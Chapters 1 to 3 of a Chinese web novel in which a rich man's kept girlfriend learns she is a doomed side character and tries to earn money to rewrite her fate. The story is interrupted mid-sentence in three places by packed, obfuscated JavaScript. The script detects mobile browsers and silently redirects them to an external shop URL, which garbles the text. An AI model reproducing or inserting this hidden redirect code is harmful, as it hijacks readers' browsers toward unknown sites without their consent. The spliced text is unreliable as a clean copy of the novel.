《所有人都劝我当金丝雀》 1. 宠坏 被变着花样折腾到凌晨,白雪蘅在身体昏睡之后灵魂出窍了。 她看着自己被一个薄肌高大的男人搂在怀里,汗涔涔的粉脸,即使在睡梦中都蹙着的眉。 忽然一行字飘在她眼前。 “容昭野早上6点有一场紧急会议,他轻轻地将怀里的女人塞进被子里,起身沐浴,离开家去了公司。” 白雪蘅看到容昭野果然放开她,去了浴室,又神清气爽地离开。 那行字又变成了一本书,书页哗啦啦翻开,白雪蘅一目十行。 结局赫然写着: “白雪蘅卷了容昭野的钱,跟着小狼狗坐着私人轮渡踏上了去异国的旅程,刚到公海区域,白雪蘅便被小狼狗掐死扔进了海里喂鱼。” 白雪蘅破防了,忍不住张口大骂:“谁给老娘写的酸文?嫉妒我过得好也不用这么咒我吧!” 她大二就和学长容昭野谈恋爱,搬入了容氏的豪宅,从此过上了无法用金钱衡量的奢靡生活。 关系亲近的同学都知道二人的关系,但是没人忮忌。 原因无他。 白雪蘅实在是…… 她就该被这样的顶级富哥娇养着。 就在白雪蘅在想究竟是谁这么恶毒,写出这种剧情的时候, 一道冰冷的声音响起: 【警告,配角被严重剧透,剧情即将偏离主线,为保障主线运行稳定,系统开启平行剧情。】 【你的生活是一本百万字小说,每章两千字,共五百章。既定剧情为:容昭野为了女配白雪蘅不惜与家族抗衡拒绝与女主江画云的联姻,江画云的养弟为了姐姐的幸福,勾引女配白雪蘅并将其杀害抛尸公海。】 【平行剧情更改要求:女配白雪蘅每赚够一万元,获得一章内容更改权限,每存够十万元,可额外获得一章内容更改权限。】 白雪蘅在脑内列式计算。 x+x/10=500 x=454.545 还好还好,仅需四百五十四万五千四百五十元,就能全部改写! 白雪蘅想起昨天容昭野刚送她的这个月零花钱。 一张余额五百万的金卡。 绰绰有余! 【警告:来源归属为容昭野的资金无法被系统承认。】 白雪蘅的小脸垮下来。 她和容昭野在一起后就没挣过一分钱,吃的花的用的全是容昭野的,她浑身上下就没有不属于他的资金。 小保姆阿琴刷卡进来,做好了早餐,来叫她起床。 阿琴看着白雪蘅露出来的胳膊上青红的暧昧痕迹,卧室落地窗上交错的手掌印,感慨—— 又要帮他们换床单了。 “小姐,该起床了,今天是你的毕业典礼。” 白雪蘅的灵魂重重地摔回身体。 她没有像往常一样赖床,而是火速起来洗脸,冷水泼在脸上的爽感平复了些许激烈的心跳。 阿琴捧着毛巾站在一旁,表情温和,兢兢业业,没有半点作为保姆在伺候人的不耐烦。 她一向对这份工作十分满意。 白雪蘅心中一动。 “阿琴,你工资多少?” 阿琴闻言有些自卑地说: “每个月两万,月休八天,法定节假日加班三倍工资,五险一金。” 如此可观的工资,挣五百万也要20.8333年。 太慢了太慢了,20年后她的骨头都在海底被哥斯拉消化成粑粑又参与微循环重新变成雨露撒在神州大地了。 根据原著剧情,还有不到一年时间,她就会被骗上游轮。 生存警报让白雪蘅空前焦虑。 这焦虑持续到她坐在毕业典礼的大礼堂上,在看到容昭野作为荣誉校友站在主席台上发言时达到了巅峰。 容昭野不仅是目前最炙手可热的上市公司野望科技的创始人,更是权倾南江的容家唯一的继承人。 容家是怎样的存在呢。 十铺九容。 只要在本地做生意,租的写字楼/商铺,无论间接或直接,最终业主方都是容家。 不做生意,去上班打工呢? 大部分的公司工厂背后都有容家作为股东的身影。 可以说,在原书的世界里,容家,一手遮天。 自己怎样才能绕过容家,挣到来源和容家毫无关系的五百万? 容昭野站在台上,也看到了坐在前排的白雪蘅。 也许是为了遮住手臂上暧昧的痕迹,她穿着一件长袖纱裙,简约的白,在她身上却像秀场高定。 那张昨晚他采撷了无数次的唇微微张着—— 她在看着自己发呆。 容昭野勾起唇角,暗暗挑了挑眉: 就知道她也垂涎自己的美色。 他们二人一直对彼此都是生理性喜欢。 隔一天不对白雪蘅挨挨贴贴,容昭野就浑身刺挠。 白雪蘅其实是在脑内读取剧情。 原书内容正在漂浮。 “容昭野站在台上,目光却直直射向台下的白雪蘅,他示意校方让白雪蘅作为毕业生代表上台,获得他亲自佩戴学士帽的殊荣。” “并在白雪蘅耳边轻轻一吻。” 就是这个秀恩爱的行为引起了轩然大波,让女主江画云注意到了她的存在,并在发现容昭野绝对不和白雪蘅分手后破防,直接导致她的养弟出手将白雪蘅杀害。 可以说,从这里开始,正式奏响了白雪蘅的死亡序曲。 就在这时,脑内响起系统提示音。 【滴——系统测试提示: 在正式开始更改内容前,您有且仅有一次测试内容更改效果的机会,请谨慎使用。】 天赐良机! 白雪蘅尝试用意念将原文中自己的名字划去,填上了……班里一位男同学的名字。 这位同学一直奉容昭野为毕生偶像,应该会很享受这次和容昭野亲密接触的机会。 于是全校所有人都眼睁睁看着容昭野将那位男同学叫上台去,揽住对方的腰,在耳边落下深情一吻。 “……” 全场哗然。 这就是总裁表达欣赏的方式吗?! 做完这一切的容昭野松开手,冷峻的帅脸上,满是莫名其妙。 刚才自己就像被鬼上身了。 他明明是要让白雪蘅上台,却喊出了一个完全陌生的男生名字。 台下的白雪蘅错愕过后,是激动的开心。 真的能改! 只要挣到五百万,改了原书结局,自己就不用死了! 就算没挣那么多,一章一万,先改关键几章,能够不被女主江画云注意到她,也能暂缓她死亡的时间。 白雪蘅的欣喜激动被容昭野尽收眼底。 亲了一个男人,她那么高兴? ……不是应该吃醋吗? 容昭野想起她平时爱看两个男人的动漫。 算了,懒得跟她计较。 总裁不愧是总裁,很快调整了状态,风度翩翩地结束了演讲。 白雪蘅已经偷偷离开会场,回到了位于江边奢华公馆顶层的家。 容昭野包养她的地方。 自从大二跟了他,白雪蘅就从宿舍搬了出来,住进了这所本市,也是本国单价最高的房子里。 阿琴帮她把衣服拿出来,折叠打包好。 “小姐,您又要把衣服做公益呀?” 白雪蘅每天的衣服从不重样,穿过的就会收拾出来送人。 白雪蘅没回答,问她: “阿琴,你是哪家保洁公司的?” 阿琴很激动。 “小姐,终于要说服容先生收购我们了吗?” 容昭野旗下公司福利待遇极好,只要能被他收购,阿琴就能拥有每年15个月工资和七险二金! 她的问题让白雪蘅眼前一亮。 对啊,阿琴所在的家政公司是为数不多完全没有容昭野控股的企业。 白雪蘅摇摇头 “不是,是我要去应聘。” “?” 阿琴还想说什么,白雪蘅变得严肃起来。 “还有,以后不要叫我小姐了。” 虽然她以前是容昭野的情妇,但她已经决定, 不当了! 再跟容昭野纠缠不清,有生命危险啊! 白雪蘅开始装行李箱。 她要从这里搬走。 原书中,江画云察觉到她的存在后,找私家侦探调查出容昭野的住处,顺藤摸瓜发现了他已经养了白雪蘅三年的事。 想要保住小命,就不能被江画云发现她的存在,她必须和容昭野进行切割断联。 白雪蘅拉着箱子正要走,门开了。 来人直接搂着她的细腰转了半个圈,把她带回屋内,压在门上。 细长的手指摩挲她细腻柔润的脸。 “去旅游?” 他看到她拎着箱子。 白雪蘅撩开他的西装下摆,小手伸进去依依不舍地抚摸他的腹肌。 “不是,我要搬出去。” 容昭野手指下滑,虚虚拢在她纤长的脖颈上。 “为什么?上半年的19个纪念日我一个都没漏。” 她被他宠坏了,极爱耍小性子。 动不动就说要分手搬走。 “就是因为一个都没漏!”白雪蘅眼神哀怨,“容昭野,纪念日的意义在于稀缺。你这样我一点惊喜感都没有了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546109|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那下半年少过几个。” “好啊,我就知道!纪念日都要少过几个,你果然腻了我了!” 白雪蘅拉开门执意要走。 容昭野伸手拉她,余光看到玄关上摆着几张他送的卡。 ? 问题很大,她连自己的钱都不要了。 白雪蘅打车直奔阿琴工作的家政公司。 家政公司的领导看着面前这位浑身上下行头加起来比他刚买的车还贵的小姑娘说要应聘保姆,有些费解地揉了揉太阳穴。 她能做保姆? 想来想去只有一种可能。 她是对家派来的! 想让他收下此人作为员工,出现纰漏从而毁掉他的招牌? 呵。 为了收购他的公司,居然想出如此离谱的商战手段。 太可耻了! “我们不缺人,您另谋高就吧。” 白雪蘅的眼泪潸然而下。 “我真的很需要这份工作……不然我会死的……老板,求求您给我这个机会吧……” 老板错愕。 不至于吧! 竟然用小姑娘的命威胁她做这种事? 如果自己不给她一个岗位,她回去是不是就要被卖到棉陂了? 作为一个罕见的有良心的老板,他沉吟再三,还是决定给她一个岗位。 “这样吧,保姆需要考取营养师证和C1驾驶证,你暂时做不了。我们在晨光医院有合作,你可以去做护工。” 白雪蘅擦干眼泪,露出笑容。 每次和容昭野闹脾气,被拆穿无理取闹时,她就用这一招,屡试不爽。 原来对外人也管用啊。 “谢谢老板!我一定会好好做护工的!” 老板皱眉看着她的美甲: “你先跟岗,学习一下。” 白雪蘅点头,跟着一位叫柳林的大姐去了晨光医院住院部。 她们值的是晚班,柳林去了以后熟练地把病床摇起来,给病人翻身拍背,按摩双腿。 白雪蘅踩着细高跟,拎着包包,站在病房无所适从。 柳林想起临走前老板的嘱咐: “不用让她做事,让她跟着你就行。” 也没敢使唤白雪蘅。 还是白雪蘅先站不住了,对柳林说:“柳姐,我来吧?” 柳林看到她精致修长的昂贵美甲,哪敢让她动手。 万一她把病床上的老太太掐得满身青紫,怎么给家属交代。 “不用了小妹,你要实在想帮忙,就打盆水吧,盆在床下面。” 白雪蘅乖巧点头。 她弯腰去拿盆,只看到床下有一个盆,里面还有……尿。 有点想呕。 白雪蘅闭上眼睛,给自己打气。 为了挣钱,别人都可以,她也可以! 她心一横,把尿盆拽出来,出门打水去了。 走廊上满是加床,家属病人坐的坐,躺的躺,找个下脚的地方都难。 白雪蘅架着胳膊,举着尿盆,喊着“不好意思借过一下”,在拥挤的人群中穿行。 走到一半才想起来,她不知道水房在哪里。 热心阿姨告诉她:“走廊尽头右转,医生办公室门口。” 白雪蘅到的时候,恰逢医生办公室的门打开。 白大褂们挨个走出,她急忙躲避,脚下的细高跟崴了一下,眼看就要扑在地上。 一双骨节分明的大手稳住了她的后腰。 白雪蘅勉强站定,前扑的惯性却没消解,盆里的尿泼了那人一身。 …… 她慌忙道歉。 “对不起对不起对不起!” “没关系。” 那人很好脾气地表达不计较,还关心她: “站稳了吗?” 白雪蘅这才发现他的手还扶着她。 “稳了稳了,谢谢你!真是不好意思!我……” 话没说完,刚才走在最前面的白大褂回头喊道: “江映山,怎么还不跟上?” 好脾气的白大褂连忙应了一声:“我换件衣服就来。” 听到这个名字,白雪蘅脑袋里的血都凉了。 江映山。 原书里勾引她骗她上了游轮把她掐死后丢进公海喂鱼的女主养弟。 就是他。 二十五岁学成归来的医学博士。 白雪蘅愣愣地看着眼前这个头发浓密长相温润的年轻男人。 江映山还在安慰她:“没事的,你穿这种鞋走路要小心……” 话没说完,愣住的人变成了他。 因为白雪蘅又一次扬起手,把盆里剩下的液体全部泼在了他脸上! 2. 水水 江映山被泼傻了。 微黄色液体,又是在那种盆里,是什么已不言而喻。 他不明白自己很有风度地扶了人怎么还落得如此下场。 “渣男!” 白雪蘅已先下手为强。 这两个字可以通用解释当下社会女对男的任何不礼貌行为。 满脸惊讶捂着鼻子避之不及的众多白大褂们立刻就吃明白了这个瓜。 没想到啊没想到,江医生刚回国,就惹上这么漂亮的风流债。 啧啧啧。 小姑娘看起来二十出头,仙绝的五官,粉面含嗔,看起来受了极大委屈。 江映山反应很快,拒绝了这口黑锅。 “我根本不认识……” 白雪蘅把盆一扔,尖长精致的美甲指着他:“你想说不认识我对不对?!哈,我就知道你不会承认骗了我。” 她将原书内容背出: “你江映山,留学美丽国,回国后对我一见钟情,骗我说你愿意摆脱家族联姻带我远走高飞,结果狠狠……抛弃了我!现在还想装不认识!没门!你大腿内侧有块褐色胎记,腹肌上有颗红痣,是不是?!” 为了避免观众们过于惊骇,她把“抛尸”改成了“抛弃”。 江映山心头一震。 那两处胎记的位置过于隐私,几乎没人知道,这女孩怎么会…… 他皱眉反驳:“这位女士,我真的不认识你,你再胡搅蛮缠,我要报警了。” 白雪蘅就怕事情闹不大呢。 她要让所有人都知道江映山和她有误会,有矛盾,有恩怨。 甚至因为感情纠纷报过警,有出警记录。 这样,后面就不会有人相信,她跟他私奔了的鬼剧情。 而且,她如果真的出事了,江映山也会被列为怀疑对象。 局面正僵持着,院长来了。 “围在这干什么呢?会还开不开了?” 众人作鸟兽散,江映山想解释都没时间和机会。 他只好黑着脸去办公室换衣服。 白雪蘅捡起地上的盆,正要去水房,手腕却被人握住。 她抬头,来人俊眉星目,眸中怒火爆燃,是容昭野黑漆漆的一张脸。 “你什么时候见过江映山大腿内侧的胎记?” 白雪蘅没想到他也在医院。 她瞅了瞅,周围没人。 “嘘,听别人说的。” 容昭野脸色没有半分好转。 “听谁说的?” 白雪蘅总不好说是听系统说的,她不耐烦地甩开他的手。 “你别管了。” 容昭野一愣,被气笑了。 白雪蘅接了半盆水,一路喊着“借过”,挤回了病房。 柳大姐见她回来,不好意思地说: “妹子,刚才没跟你说清楚,脸盆不是这个,你拿的是尿盆……” 让一个娇花般的小姑娘端尿盆,柳大姐都替她膈应。 白雪蘅不介意,这尿盆帮了大忙呢。 “没关系姐,这盆水还要吗?” 病人应该不能用尿盆里的水洗脸吧…… 柳大姐拿着脸盆说:“我来吧,我去再打一盆水。” 白雪蘅抢不过她,又不想站在病房里无所事事,干脆学着柳大姐的样子给病人按摩。 她从没有做过这种伺候人的活,自然没练出该有的手劲。 细软的十指摁在老太太身上,简直像在咯吱她。 美甲的刮擦也带来阵阵痒意。 老太太在昏迷中的眉头越皱越紧。 白雪蘅记得,每次跟容昭野玩那种游戏,她碰到他侧腰某个部位,容昭野就会十分舒服。 一向克制的他甚至还会忍不住发出声音。 她循着记忆,按在老太太身上同样的地方。 “呃……” 苍老沙哑的声音从病床上响起。 白雪蘅停下了手中动作,眨巴着眼睛,道歉: “对不起,奶奶,我是不是打扰你睡觉了?” 把人给弄醒了,也不知道会不会扣她的跟岗工资。 “妈?!” 一个中年人的声音自身后响起。 来人似乎十分激动,疾步上前。 白雪蘅被他推开,只好站在一边。 “您醒了?!医生!!!我妈醒了!!!” 白雪蘅没忍住在心里吐槽: 不至于吧…不就是打扰病人睡觉吗,有必要让医生也过来主持公道吗? 管床医生很快来了,给老太太听心率,检查瞳孔,然后对那个中年人点了点头: “患者苏醒了,简直是奇迹,等状态彻底稳定,就可以出院回家了。” 白雪蘅越听越不对劲。 柳大姐回来看到满屋子人也吓了一跳,弄清楚怎么回事以后,她悄悄扯了扯白雪蘅的衣袖:“妹子别担心,老太太醒了是好事。” 果不其然。 那老太太的儿子“嗷”地一声就给医生和白雪蘅跪下了。 “多谢医生!多谢护工!嗷嗷嗷……我妈昏迷了好几年,终于醒了嗷嗷嗷……” 白雪蘅和柳大姐手忙脚乱地去扶他起来。 老太太的儿子看了一眼柳大姐衣服上的工牌信息,说:“天伦家政是吧,我会给你们送锦旗的!” 柳大姐脸上的笑容压都压不住。 一面锦旗可以领取二百元奖金呢。 到时候分给妹子一百。 她很善良地想。 另一边的医生办公室隔壁的淋浴间。 江映山脱下被泼湿的衣服,准备洗个澡。 他实在受不了这股味道。 就在他准备关上淋浴间门的时候,一双骨节分明的大手伸过来,阻止了门的关闭。 容昭野高大挺拔的身躯在门缝中十分有存在感。 江映山皱眉:“你也要洗?” 容昭野没说话,而是欺身上前,一把掀开江映山的浴袍。 腹肌上果然有颗红痣。 他还要去掰江映山的大腿,去确认那里有没有白雪蘅说的那块褐色胎记,就被反应过来的江映山狠狠推开。 “你特么变态啊!!!” 温文尔雅从容淡然的江医生终于怒了。 怎么今天遇到的一个两个全是神经病啊! 容昭野后背撞在门上,门锁“咔哒”一声合上。 狭小密闭的空间里两个身高接近一米九的男人都很愤怒。 江映山想要拉开门出去,被容昭野拦住。 “你跟白雪蘅什么关系?她什么时候见过你的胎记?” 江映山压着火。 “我不认识你说的什么白雪蘅。” 容昭野却不放过他。 “那有谁见过你的胎记?” 江映山忍无可忍。 一拳锤在容昭野的腹部。 梆硬的腹肌和满肚子的怨气让他拳头一麻。 容昭野正愁没有理由动手呢。 挨了一拳的他解开袖口,开始对江映山砰砰乓乓,重拳出击。 江映山没有不还手的道理。 二人在浴室大打出手,不知道谁误碰到了水龙头,热水瓢泼而下,顿时都被浇了个湿透。 开完会查完房回来的白大褂们都听到了浴室里拆迁般的动静。 主任过去打开门。 众人看到两个大帅哥鼻青脸肿气喘吁吁浑身湿透地各自坐在浴室地上。 江映山的白色浴袍敞开,露出线条流畅的肌肉和红痣。 容昭野的黑色衬衫湿透,紧紧贴在胸前,胸肌和腹肌若隐若现。 如此美景。 若不是二人都在恶狠狠瞪着彼此,简直就像画报大片。 白雪蘅跟着柳姐回了家政公司。 老太太家人承诺的锦旗已经送到了。 柳姐和白雪蘅并肩站在一起,共同举着锦旗,经理亲自给她们拍宣传照。 拍完照片,经理给她们一人发了一个红包。 白雪蘅喜滋滋地拆开,一张红彤彤的百元大钞。 自己挣的钱,即使轻飘飘的,握在手里也沉甸甸的安心。 手机响了。 “请问您是白小姐吗?” “是我,你是?” 那边很有礼貌:“我们是海天大厦停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546110|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车场的管理人员,您的车子停在我们另一位客户的固定车位上了,现在需要您来挪一下车。” 白雪蘅想了想,她确实有一辆车在那里停着。 有次逛完商场后,容昭野去接她,她自己的车就留在那里了。 “可是我停车的时候并没有发现那里是别人的固定车位啊?” 对面的语气带有三分歉意: “是这样的白小姐,那个车位刚刚卖出去,我们还没来得及制作标牌。给您带来不便,十分抱歉。” 白雪蘅从来都是好说话的性格。 只要对面稍微释放善意,她就愿意让步。 “那好,我现在在外面,你们能稍等一会儿吗?” “不着急的,只要今天来开走就好。” 白雪蘅忍不住腹诽:一边说不着急,一边又催着今天开走。 不过她不喜欢在小事上计较,闻言点点头,答应说今天一定。 她向经理告了假,约好了明天去医院上班的时间,打车去海天大厦。 到了停车场,她在手机上查看自己车的位置,闷头向前走。 空旷安静的停车场传来隐约的人声,是一男一女。 “……你确定那是白雪蘅的车?” “确定,我查了车牌信息,登记人是她。” “这个理由能把她叫过来吗?” “已经叫过来了,她说今天就来挪车。” “那就好,你最好不要浪费我的时间。” 女声高高在上,语气十分焦急不耐。 男声听起来和打电话通知她来挪车的停车场管理人员的声音一模一样! 白雪蘅心头警铃大作。 这女的是谁? 听她们的对话,好像是这女人要见她。 这才设套让她来停车场。 原书剧情里,并没有这一段…… 但原书里对她感兴趣的女人,只有一个。 容昭野的未婚妻,江画云。 她甚至让她的养弟,江映山,使出美男计,将白雪蘅骗走杀死。 难道是江画云来了? 认识到这一点,白雪蘅一步都不敢往前走了。 她穿着高跟鞋,此时无论前进还是后退,在停车场里都会有脚步声。 白雪蘅脱下鞋子,提在手里,想要悄悄回去。 等她走到电梯口,正巧电梯来了。 门开,一张俊朗温润的脸。 江映山。 白雪蘅吓得背都僵了。 他他他……是来听他姐的吩咐,动手杀她的? 江映山也是一愣。 他今天被泼了尿,又和别人莫名其妙打了一架,实在是流日不利。 干脆请了假。 没想到在这里又碰到这个女孩。 只不过,她总是给他一种很奇怪的感觉。 长得很漂亮,看他的眼神却是厌恶中带着惧怕,恨意中带着惊恐。 “好巧。” 他走出电梯,教养让他不计前嫌地打了个招呼。 “你跟踪我?” 白雪蘅只能想到这一种可能。 为了除掉她,他不惜跟踪。 江映山摇摇头:“您自作多情了,来给我姐姐买点礼物。” 他回国后,还没怎么和江画云单独相处过。 想起姐姐,江映山的眼神变得温柔无比。 江映山他姐姐…… 白雪蘅更加肯定了,在停车场蹲她的女人,就是江画云! 按照原书剧情,江画云看到各大头条报道了容昭野在毕业典礼上亲吻白雪蘅的照片,才起意调查白雪蘅的存在。 而且好几章以后,才会假装不经意地在一场聚会中和白雪蘅“偶遇”。 如今白雪蘅已经改了剧情,怎么遇到江画云的时间比原书还提前? 系统耍我? 系统仿佛听到了白雪蘅的想法。 【检测到女主江画云有不脱离原剧情的自主行为,因符合原书剧情发展,故不予纠正。】 白雪蘅傻眼了。 自己费劲巴拉挣钱改剧情。 现在告诉她,对面能改回去? 3. 见面 江画云抱着胳膊坐在车上。 她做了个噩梦。 梦里,她那位点头之交的未婚夫容昭野,有一个养了三年的娇娇小女友。 本来,她们豪门千金是见惯了男人这种事的。 养着就养着吧,只要不弄出孩子,记得在外面给她这个正室该有的体面就行。 但是自己实在不争气,在后续的相处中,居然爱上了容昭野。 江画云所有的大度都被狗吃了,她忍不住对这件事较真。 她想让容昭野心里眼里只有她一个人。 江映山把她的失魂落魄和爱而不得通通看在眼里。 他为了帮姐姐解决掉这个眼中钉,去勾引了白雪蘅。 他付出一切的温柔终于打动了正因误会和容昭野冷战闹脾气的白雪蘅。 江映山成功把白雪蘅骗去了船上。 白雪蘅死了。 江画云松了口气。 但是容昭野并未如她所愿的,认清她的好,转头只取她这一瓢。 而是手腕铁血地查明了白雪蘅死亡的真相。 将证据砸在所有媒体的桌子上。 江氏集团股价暴跌。 江映山被容昭野绑起来,送给江氏的仇家,被用尽了各种非人手段殴打折磨。 她被容昭野押到他的书房,在一百寸的8K屏幕上被迫看了三天三夜江映山被折磨的直播。 江画云看完后就疯了。 容昭野又把疯掉的她丢在最热闹的商业中心街头。 衣衫不整的豪门贵女哭哭笑笑行止无状的小视频全网都是。 碍于容家的威势,整整一夜,没有人敢来带她离开。 直到天亮。 江画云被容昭野送回去没多久,收到了江映山自首的通知。 穿着囚服的江映山浑身伤痕,虽然没死,但也不再有任何生机,满面阴鸷颓丧。 …… 江画云是被吓醒的。 醒来的时候她满头大汗,浑身发冷。 梦里的一切都是那么的真实。 而现实中,距离二人举办订婚仪式,还有一个月的时间。 江画云开始暗中调查,果然,容昭野身边有白雪蘅这个人。 私家侦探拍回来的照片上,二十岁左右的女孩子,高挑明媚,宜喜宜嗔。 容昭野也如梦里一般,对白雪蘅极其纵容宠爱。 江画云捏着照片的手都在抖。 不是因为嫉妒,而是害怕。 如果一切都按照梦里那样发展…… 江映山和江氏集团的下场…… 不!不可以! 江映山一岁时就被她父母收养,二人感情极好,江画云不能接受弟弟是那样的结局。 他不能去招惹白雪蘅。 至于容昭野,只要他愿意,就去和白雪蘅白头偕老吧! 她江画云不稀罕他了! 只是……二人的婚事已经在两家内部定下。 这桩婚事牵扯极广。 合作项目马上落地,前期设备和厂房都完工在即。 此时退婚,会让这几年本就处境艰难的江氏雪上加霜。 婚可以退。 但不能是江画云这边提出。 最好是容昭野提出退婚。 这样,江氏就不用承担违约的风险和责任。 江画云抱着这样的目的,来见白雪蘅。 她一定要撮合容昭野和白雪蘅在一起。 同时,她要让白雪蘅知道容昭野有婚约在身,跟容昭野撒娇闹脾气。 依容昭野对白雪蘅的宠爱和纵容,他肯定会为了白雪蘅退婚的。 到时候一向大方的容昭野为了补偿江氏,在合作项目上让利也未可知。 江氏不仅不会受到任何影响,自己和江映山也能全身而退。 …… 白雪蘅光着脚提着高跟鞋,在停车场瑟瑟发抖。 前方电梯口站着江映山——原书里骗她上船抛尸的凶手。 后方某辆车里坐着江画云——原书里指使弟弟杀她的女主。 前有狼后有虎。 她白雪蘅难道今天就要命丧停车场? 系统音适时响起:【叮——检测到原著女主行为异常,请宿主自行判断。】 白雪蘅还来不及反应,不远处一辆车的车门打开了。 一双高跟鞋踩在地上,走下来一个女人——正是原著中高贵冷艳的江家大小姐。 可她的表情……不太对。 眼眶微红,嘴角却带着笑,整个人在一种劫后余生的状态。 白雪蘅下意识往后退,却发现自己背已经抵上了江映山的胸膛。 完了。 前后夹击,插翅难逃。 她闭上眼,脑子里闪过无数种死法。 然后—— “你就是白雪蘅?” 江画云靠在车门边,为了平复复杂的心情,先点了根烟。 烟雾缭绕中,她已经恢复了冷静,把白雪蘅从头到脚打量了一遍。 那目光太有侵略性,白雪蘅感觉自己像菜市场里被挑拣的肉。 完了,这是要先看看成色再决定怎么杀? 江映山皱眉:“姐,抽烟有害健康。” 江画云瞥他一眼,慢悠悠把烟掐了,这才踩着高跟鞋不紧不慢地走过来。 高跟鞋敲在地面上的声音像某种倒计时。 “白小姐,久仰。”江画云在她面前三步远的地方停下,“你怎么不穿鞋?” 白雪蘅低头看了看自己光着的脚,又看了看手里提着的鞋,觉得自己现在这造型确实不太体面。 “我……”她脑子飞速运转,“我来挪个车。” “挪车?”江画云挑眉,目光在她脚上打了个转,“光着脚挪?” 白雪蘅干笑:“高跟鞋不方便。” 江画云没说话,就这么看着她。 那目光太复杂了。 有审视,有打量,有敌意,有珍惜,有某种说不清道不明的东西——唯独没有善意。 也没有尊重。 就是……在看一件东西。 “姐。”江映山在后面打破沉默,“你认识这位白小姐?” 江画云终于收回目光。 “白小姐,我今天来,是想跟你说件事。” 白雪蘅心头一紧:来了来了,重头戏来了。 “容家和江家的婚约,你应该听说过。”江画云的语气很平淡,像在说今天天气不错,“我来是想告诉你,别因为这个多想。” 白雪蘅一愣。 “我对容昭野没兴趣。”江画云继续说,“你们的事,我不会插手。” 白雪蘅站在原地,突然有点不高兴。 不是因为她说了什么—— 而是从头到尾,江画云没有问她一句,没有正眼看她,话里话外都在表达一个意思:你的事我不在乎,你这个人我也不在乎,我只是来通知你一声。 那种感觉,就像领导找实习生谈话,说“好好干,公司不会亏待你”一样——语气温和,内容敷衍,骨子里全是傲慢的居高临下。 “江小姐。”白雪蘅开口。 江画云停下脚步,回头看她。 “有件事你可能不知道。”白雪蘅抬起头,对上她的目光,“我和容昭野,已经分手了。” 江画云的那高傲又温和的表情变了。 白雪蘅心里有些痛快。 江画云急步走回来:“为什么?” 这回她的语气不一样了——虽然还是高高在上,但多了一点哀求的恐慌。 白雪蘅莫名其妙:“什么为什么?” “你为什么跟他分手?” 白雪蘅更莫名其妙了:“你们有婚约,我离开他,不是正好吗?” 正常人听到这话,应该高兴吧?应该松一口气吧?应该觉得“这姑娘还挺识相”吧? 但江画云的表情没有高兴,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546111|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意,甚至没有松一口气——反而有一种……措手不及的慌乱? 江画云语气恳切: “白小姐,婚约的事,只是容家和江家之间的交易。你不用因为这个离开他。” 白雪蘅简直莫名其妙:“即使是交易,等你们结了婚,我也是那个……第三者。我离开,不是正好吗?你为什么要劝我留下?” 江画云连连摇头,不好,她是想在不得罪容家的前提下和容昭野和平解除婚约,而不是真的嫁给容昭野那个手段狠辣的疯子。 “江小姐,”白雪蘅忍不住问,“你是不是……有什么奇怪的星琵?” 一直默默旁观二人对话的江映山忍不住闷咳了一声。 “白小姐想多了。”江画云声音紧绷,“倒是你,容昭野又帅又多金,对你也好,你为什么跟他分手?” 因为不分手会死啊。 她家境普通,卷入豪门联姻的恩怨情仇中,是不会有好下场的。 那句话怎么说的来着,赌生盗、奸生杀。 原书中属于白雪蘅的结局不就印证了这一点吗。 有了修改命运的机会,她一定要抓在手里。 “我想自力更生,已经找到工作了。” 江画云像是听到了什么奇闻:“找工作?容昭野不给你钱花吗?” 白雪蘅懒得解释,正巧她手机响了,是家政公司老板打来的电话。 “喂,白小姐,今天给你和柳大姐送锦旗的那家客户,又介绍了新客户过来,不过呢,新客户点名要你服务,你这会儿有没有时间?” 白雪蘅巴不得赶紧离开这里:“有的有的,我马上过去。” “不用着急,我先给你介绍新客户的基本情况,这位客户也是昏迷数月了,他的家人听说你有特殊手法可以令植物人苏醒,才想高价聘请你的。” 白雪蘅:“啊?我?” 老板也很费解:“是啊,我说是不是搞错了,人家说不是,亲眼看见你把上午那个老太太给按醒的,还说了,只要你愿意接单,病人能醒过来,会给你十万的红包!” 白雪蘅在良心和十万之间没有半分犹豫。 “没问题,保证完成委托!” 挂掉电话,她晃晃手机:“我要去上班了,再见。” 江画云还沉浸在得知容昭野不给白雪蘅钱的震惊中,白雪蘅就已经光着脚飞速跑到自己车上,关上了车门。 她弯腰在车里找到了一双平底鞋。 是容昭野给她放的。 不得不说,容昭野做男朋友确实是十分妥帖,这三年把她照顾得极好。 但是—— 白雪蘅发动车子,踩油门干脆利落。 要想保住命,还是要靠自己啊。 江映山有些担忧地望向姐姐:“姐,真的不在意她和你未婚夫……?” 江画云看着白雪蘅离去的方向,又点了根烟:“我巴不得他们俩白头偕老。” 